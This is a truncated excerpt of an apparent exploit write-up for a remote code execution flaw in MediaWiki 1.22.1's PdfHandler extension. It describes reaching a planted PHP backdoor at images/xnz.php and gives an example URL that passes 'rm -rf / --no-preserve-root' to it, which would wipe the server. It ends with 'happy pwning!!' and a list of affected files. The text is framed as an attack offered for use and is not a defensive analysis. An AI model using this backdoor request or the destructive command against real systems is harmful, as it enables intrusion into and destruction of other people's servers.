MediaWiki 1.22.1 PdfHandler Remote Code Execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 MediaWiki images/xnz.php 3. access to php-backdoor! http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root 4. happy pwning!! Related files: thumb.php -- extract all GET array to params /extensions/PdfHandler/PdfHandlerbody.php --...